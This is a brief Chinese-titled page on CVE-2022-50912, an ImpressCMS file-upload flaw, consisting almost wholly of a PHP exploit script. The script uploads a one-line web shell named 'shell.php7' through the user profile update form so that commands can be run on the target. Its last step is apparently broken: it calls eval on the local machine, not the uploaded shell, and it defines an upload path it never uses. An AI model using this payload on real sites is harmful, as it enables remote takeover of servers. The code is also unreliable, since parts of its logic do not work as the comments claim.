CVE-2022-50912 ImpressCMS文件上传漏洞导致远程代码执行

<?php // CVE-2022-50912 PoC - ImpressCMS File Upload RCE // Target: ImpressCMS <= 1.4.4 // Exploit: Upload malicious PHP file with .php7 extension $target = 'http://target-website.com'; $upload_path = '/modules/profile/avatar.php7'; // Known upload path // Create malicious PHP file content $payload = '<?php system($_GET["cmd"]); ?>'; // Prepare multipart form data $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(8)); $body = '--' . $boundary . "\r\n"; $body .= 'Content-Disposition: form-data; name="avatar_file"; filename="shell.php7"' . "\r\n"; $body .= 'Content-Type: application/octet-stream' . "\r\n\r\n"; $body .= $payload . "\r\n"; $body .= '--' . $boundary . '--' . "\r\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '/user.php?op=update'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $body); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: multipart/form-data; boundary=' . $boundary ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Execute command via uploaded shell eval('system($_GET["cmd"]);'); // Usage: ?cmd=whoami ?>